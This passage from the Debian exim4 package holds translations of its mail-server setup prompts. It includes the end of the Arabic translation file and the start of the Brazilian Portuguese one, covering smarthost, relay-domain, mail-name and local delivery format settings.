fetchmail" msgstr "البريد يُرسل عبر المضيف الذّكي (smarthost)؛ يُستلم عبر SMTP أو fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "البريد يُرسل من smarthost؛ لا بريد محلّي" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "توصيل محلّي فقط؛ ليس على شبكة" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "لا إعداد حاليّاً" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "الفئة العامّة لإعداد البريد:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "الرجاء اختيار نوع تهيئة خادم البريد التي تناسب حاجتك." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "الأنظمة ذات عناوين IP الديناميكيّة بما فيها أنظمة الطّلب الهاتفي، يفترض عموماً " "أن تعدّ لإرسال البريد الصادر لجهازٍ آخر يدعى \"المضيف الذّكي\" 'smart " "host'للتوصيل لأن كثيراً من الأنظمة المستقبلة على الإنترنت ترفض البريد الوارد " "من عناوين IP الديناميكيّة كطريقة للحماية من البريد الغير مرغوب." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "يستطيع النظام الذي له عنوان IP ديناميكي استقبال بريده الخاص، أو يمكن تعطيل " "التوصيل المحلي بالكامل (عدا البريد الخاص بالمستخدم root وpostmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "هل تريد فعلاً ترك نظام البريد دون إعداد؟" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "إلى أن تتمّ تهيئة نظامك البريدي فسوف يكون معطوباً و غير صالحٍ للاستخدام. يمكنك " "بالطّبع إعداده لاحقاً إمّا يدويّاً أو بتنفيذ الأمر 'dpkg- reconfigure exim4-" "config' كمستخدم root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "اسم بريد النّظام:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'اسم البريد' هو اسم النطاق المستخدم 'المكمل' لعناوين البريد التي لا تشمل اسم " "النطاق." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "سيستخدم هذا الاسم أيضاً من قبل البرامج الأخرى، والذي يجب أن يكون اسم النطاق " "المفرد الكامل (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "مثلاً، إن كان عنوان بريدك هو foo@example.org، فتكون القيمة الصحيحة لهذا " "الخيار هي exmple.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "هذا الاسم لن يظهر على أسطر من: (From:) من البريد الصّادر إذا مكّنت إعادة " "الكتابة rewriting." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "الوجهات الأخرى التي يُقبل البريد لها:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "الرجاء إدخال قائمة النطاقات المستقبِلة، مفصولة بفواصل منقوطة، والتي يجب أن " "يعتبرها هذا الجهاز الوجهة الأخيرة له. وتىمي هذه النطاقات عادة 'بالنطاقات " "المحل' يضاف اسم الجهاز هذا (${fqdn}) و 'localhost' دائماً إلى هذه القائمة." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "بطبيعة الحال، ستعامل جميع النطاقات بالمثل.فإن كان كل من a.example وb.example " "نطاقات محلية، فإن acc@a.example وacc@b.example ستوصل إلى نفس الوجهة " "النهائية. وإن كان يجب التعامل مع أسماء النطاقات المختلفة بشكل مختلف، فمن " "الضروري تحرير ملفات التهيئة لاحقاً." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "النّطاقات التي يرحّل البريد لها:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "الرجاء إدخال لائحة بأسماء النطاقات المستقبِلة، مفصولة بفواصل منقوطة (;) والتي " "سيقوم هذا النظام بتحويل البريد إليها، مثلاً كبوابة MX أو بريد بديلة. وهذا " "يعني أن هذا النظام سيستقبل البريد الخاص بهذه النطاقات والقادمة من أي مكان من " "الإنترنت ويقوم بتوصيلها وفقاً لأحكام التوصيل المحلي." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "لا تقم بكتابة أسماء النطاقات المحلية هنا. يمكنك استخدام الأحرف البديلة " "Wildcards." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "الأجهزة التي يرحّل البريد لها:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "الرجاء إدخال أسماء مجالات عناوين IP مفصولة بفواصل منقوطة، والمسموح تحويل " "البريد لها عبر هذا النظام باستخدامه كمضيف ذكي smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "عليك باستخدام نسق العنوان/السابقة القياسي ل (مثلاً 194.222.242.0/24 أو " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "إن كان هذا النظام سيستخدم كمضيف ذكي smarthost لأي مضيف آخر، فاترك هذا فارغاً." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "اسم النّطاق المرئي للمستخدمين المحلّيّين:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "لقد تم تفعيل خيار إخفاء اسم البريد المحلي في البريد الصادر. ولذلك من الضروري " "أن تقوم بتحديد اسم النطاق لهذا النظام والذي يجب أن يستخدمه كإسم للنطاق " "والمكمل لعناوين المستخدمين المرسلين المحليين." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "عنوان IP أو اسم المضيف للبريد الصادر من المضيف الذكي smarthost:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "الرجاء إدخال عنوان IP أو اسم المضيف لخادم البريد الذي يجب أن يستخدمه هذا " "النظام كمضيف ذكي smarthost للبريد الصادر. وإن كان المضيف الذكي يستقبل بريدك " "فقط على منفذ غير TCP/25، فعليك بإضافة نقطتين ورقم المنفذ (على سبيل المثال " "smarthost.example::587 أو 192.168.254.254::2525). يجب مضاعفة عدد أحرف " "النقطتين في حال عناوين IPv6." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "إن كان المضيف الذكي smarthost يتطلب التوثيق، الرجاء الرجوع إلى ملفات القراءة " "الخاصة بديبيان /usr/share/doc/exim4-base/README.Debian.gz لمعلومات حول " "إعداد توثيق SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "مستلم بريد الجذر (root) و مدير البريد (postmaster):" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "يجب إعادة تحويل البريد الخاص بالمستخدمين 'postmaster'، 'root'، وحسابات " "النظام الأخرى إلى حساب المستخدم الخاص بمدير النظام الفعلي." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "إن تركت هذه القيمة فارغة، فإن هذا النوع من البريد سيتم حفظه في /var/mail/" "mail، وهو أمر غير مستحسن." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "لاحظ أن بريد postmaster يجب أن يقرأ من خلال النظام الموجه له البريد، بدلاً من " "أن يتم إعادة إرساله إلى مكان آخر، لذا فإن واحد على الأقل من المستخدمين " "المدرجة أسماءهم هنا يجب أن لا يتم إعادة توجيه بريدهم عن هذا الجهاز. يمكن " "استخدم السابقة 'real-' لإجبار التوصيل المحلي." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "يجب فصل أسماء المستخدمين المتعددة بمسافات." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "عناوين الـIP التي سيُنصت عندها لاتّصالات SMTP القادمة:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "الرجاء إدخال قائمة عناوين IP مفصولة بفاصلة منقوطة (;). سيستمع عفريت exim " "SMTP إلى جميع عناوين IP المسردة هنا." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "إذا تركت هذه القيمة خاليةً فسيُنصت exim للاتّصالات عند منفذ SMTP لكل واجهات " "الشّبكة المتوفّرة." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "إن كان هذا النظام يستلم البريد الإلكتروني مباشرةً عبر الخدمات المحلية (وليس " "عبر الأجهزة الأخرى)، فمن المستحسن منع الاتصالات الخارجية لعفريت Exim المحلي. " "تشمل هذه الخدمات برامج قراءة البريد الالكتروني والتي تتصل مباشرة بالجهاز " "localhost فقط مثل fetchmail. يستحيل وصول الاتصالات الخارجية عندما يتم إدخال " "الرقم 127.0.0.1 هنا، حيث أن هذا سيبطل الاستماع إلى واجهة الشبكة العامة." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "هل تريد إبقاء عدد استعلامات DNS محدوداً (اتّصال-عند-الطّلب)؟" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "في وضع العمل العادي يقوم Exit ببحوث DNS عند بدء التشغيل و عند إرسال أو " "استلام الرسائل. لأغراض التّسجيل ولإبقاء عدد القيم المثبّتة في ملفّ الإعداد " "صغيراً." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "إن لم يكن لهذا النظام محلل DNS كامل الخدمة متوفر في جميع الأوقات (مثلاً إن " "كان اتصاله بالإنترنت عبر الطلب الهاتفي باستخدام الطلب عند الحاجة)، فقد يكون " "لهذا عواقب غير محمودة. مثلاً، عند محاولة تشغيل Exim أو محاولة معالجة الصف " "(حتى في حال عدم وجود رسائل بالانتظار) فقد يستدعي ذلك طلب اتصال هاتفي مكلف." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "يجب انتقاء هذا الخيار إن كان النظام يستخدم الاتصال عند الحاجة. وإن كان " "للنظام اتصال دائم بالإنترنت، فيجب تعطيل هذا الخيار." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "تهيئة خادم البريد" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "هل تريد تقسيم الإعداد إلى ملفّاتٍ صغيرة؟" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "يمكن لحزم exim4 الخاصة بديبيان إما استخدام \"التهيئة الغير منفصلة\"، وهو ملف " "واحد شامل (/etc/exim4/exim4.conf.template) أو \"التهيئة المنفصلة\"، حيث " "تتكون ملفات تهيئة Exim الفعلية من حوالي 50 ملف صغير موجودة في /etc/exim4/" "conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "التهيئة الغير منفصلة أكثر ملاءمة للتعديلات الكبيرة وهي أكثر استقراراً بشكل " "عام، بينما تقدم التهيئة المنفصلة طريقة مريحة للقيام بالتعديلات البسيطة " "ولكنها أكثر هشاشة وقد تعطب إن تم تعديلها دون انتباه." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "نتناول بتفصيل أكثر التهيئة المنفصلة والغير منفصلة في ملفات المساعدةالخاصة " "بديبيان الموجودة في /usr/share/doc/exim4-base/.gz" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "هل تريد إخفاء اسم البريد المحلّي في البريد الصّادر؟" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "من الممكن إعادة كتابة ترويسات البريد الصّادر لجعلها تبدو كأنّها وُلّدت على نظامٍ " "آخر. إن تم انتقاء هذا الخيار، فسيتم استبدال \"${mailname}\" و \"localhost\" " "و \"${dc_other_hostnames}\" في حقول From (من) و Reply-To (الرّد إلى) و Sender " "(المرسل) و Return-Path (مسار الإرجاع)." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "نسق mbox في /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "نسق maildir في الدليل المنزلي" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "طريق توصيل البريد المحلي:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "يستطيع Exim تخزين الرسائل المرسلة محلياً بأنساق مختلفة. الأكثر استخداماً من " "هذه الأنساق هو mbox و Maildir. يستخدم mbox ملف واحداً لمجلد البريد بأكمله " "والمخزن في /var/mail. أما نسق Maildir فهو يخصص ملفاً لتخزين كل رسالة على حدى " "في ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "الرجاء ملاحظة أن معظم أدوات البريد في ديبيان تتوقع أن يكون نسق طريقة التوصيل " "المحلية هي mbox بشكل افتراضي." debian/po/pt_BR.po0000644000000000000000000006370412027557533011175 0ustar # exim4's Brazilian Portuguese debconf template translation. # Copyright (C) 2006, André Luís Lopes. # Copyright (C) 2008, Felipe Augusto van de Wiel. # This file is distributed under the same license as the exim4 package. # André Luís Lopes , 2006. # Herbert Parentes Fortes Neto , 2007 # Felipe Augusto van de Wiel (faw) , 2008. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-06-09 02:04-0300\n" "Last-Translator: Felipe Augusto van de Wiel (faw) \n" "Language-Team: Brazilian Portuguese \n" "Language: pt_BR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "pt_BR utf-8\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Remover mensagens não entregues no diretório de spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Existem mensagens no diretório de spool do exim, /var/spool/exim4/input que " "ainda não foram entregues. Remover o Exim fará com que as mesmas permaneçam " "não entregues até que o Exim seja reinstalado." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Se esta opção não for escolhida, o diretório de spool será mantido, " "permitindo que as mensagens na fila sejam entregues posteriormente, após a " "reinstalação do Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigure o pacote exim4-config ao invés deste pacote" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "O Exim4 possui sua configuração separada em um pacote dedicado, o pacote " "exim4-config. Para reconfigurar o Exim4, utilize o comando 'dpkg-reconfigure " "exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "site internet; mensagens são enviadas/recebidas diretamente via SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "mensagens enviadas por \"smarthost\"; recebidas por SMTP ou fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "mensagens enviadas por \"smarthost\"; nenhuma mensagem local" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "somente entrega local; fora de uma rede" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "sem configuração no momento" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tipo geral de configuração de e-mail:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Por favor, selecione o tipo de configuração de servidor de mensagens que " "melhor atenda as suas necessidades." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemas com endereços IP dinâmicos, incluindo sistemas com conexão discada, " "provavelmente deverão ser configurados para enviar mensagens para uma outra " "máquina, conhecida como \"smarthost\", para que as mesmas possam ser " "entregues devido a muitos sistemas de recepção de mensagens na Internet " "bloquearem mensagens que são enviadas a partir de endereços IP dinâmicos " "como uma proteção contra spam." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Um sistema com um endereço IP dinâmico pode receber suas próprias mensagens " "ou a entrega local pode ser desabilitada totalmente (exceto as mensagens " "para o root e para o postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Realmente deixar o sistema de mensagens não configurado?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Até o sistema de mensagens ser configurado, ele ficará quebrado e não poderá " "ser usado. A configuração posterior poderá ser feita manualmente ou " "executando o comando 'dpkg-reconfigure exim4-config' como root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nome do sistema de mensagens:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "O 'nome do sistema de mensagens' é o nome de domínio usado para \"qualificar" "\" os endereços de mensagens sem um nome de domínio." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Este nome também será usado por outros programas. Ele deverá ser um nome de " "domínio completo e único (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Assim, caso um endereço de e-mail na máquina local seja foo@exemplo.com.br, " "o valor correto para esta opção seria exemplo.com.br." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Este nome não aparecerá nas linhas From: das mensagens enviadas caso a " "reescrita seja habilitada." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Outros destinos para os quais mensagens devem ser aceitas:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Por favor, informe uma lista de domínios de destino separados por ponto e " "vírgula para os quais esta máquina deve se considerar como o destino final. " "Esses domínios são normalmente chamados \"domínios locais\". O nome da " "máquina local (${fqdn}) e \"localhost\" são sempre adicionados à lista " "informada aqui." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Por padrão, todos os domínios locais serão tratados de forma idêntica. Se " "ambos a.exemplo e b.exemplo são domínios locais, mensagens para acc@a." "exemplo e acc@b.exemplo serão entregues para o mesmo destino final. Se nomes " "de domínio diferentes precisam ser tratados de forma diferente, será " "necessário editar arquivos de configuração posteriormente." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domínios para os quais fazer \"relay\":" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Por favor, informe uma lista de domínios de destino separados por ponto e " "vírgula para os quais este sistema fará \"relay\" de mensagens, por exemplo, " "como um MX secundário ou como um gateway de mensagens. Isso significa que " "este sistema aceitará mensagens para esses domínios de qualquer lugar na " "Internet e as entregará de acordo com as regras de entrega locais." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Não mencione domínios locais aqui. Curingas podem ser usados." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Máquinas para as quais fazer \"relay\":" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Por favor, informe uma lista de faixas de endereços IP separados por ponto e " "vírgula para os quais este sistema fará \"relay\" de mensagens " "incondicionalmente, atuando como um \"smarthost\"." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Você deverá usar o formato padrão endereço/prefixo (e.g., 194.222.242.0/24 " "ou 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Se este sistema não deve ser um \"smarthost\" para nenhum outro host, " "mantenha esta lista em branco." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nome de domínio visível para usuários locais:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "A opção para ocultar o nome de domínio local em mensagens enviadas foi " "habilitada. Portanto, é necessário especificar o nome de domínio que este " "sistema deverá usar para a parte do domínio dos endereços de remetente dos " "usuários locais." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Endereço IP ou nome de máquina do \"smarthost\" de saída:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Por favor, informe uma lista de endereços IP ou nomes de máquinas que este " "servidor deverá utilizar como \"smarthost\" de saída. Se o \"smarthost\" só " "aceita suas mensagens em uma porta diferente da porta TCP/25, inclua dois " "dois pontos e o número da porta (por exemplo, smarthost.exemplo::587 ou " "192.168.254.254::2525). Dois pontos em endereços IPv6 precisam ser " "duplicados." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Se o \"smarthost\" requer autenticação, por favor, consulte os arquivos " "README específicos do Debian em /usr/share/doc/exim4-base para notas sobre " "como configurar a autenticação SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatário das mensagens para root e postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" 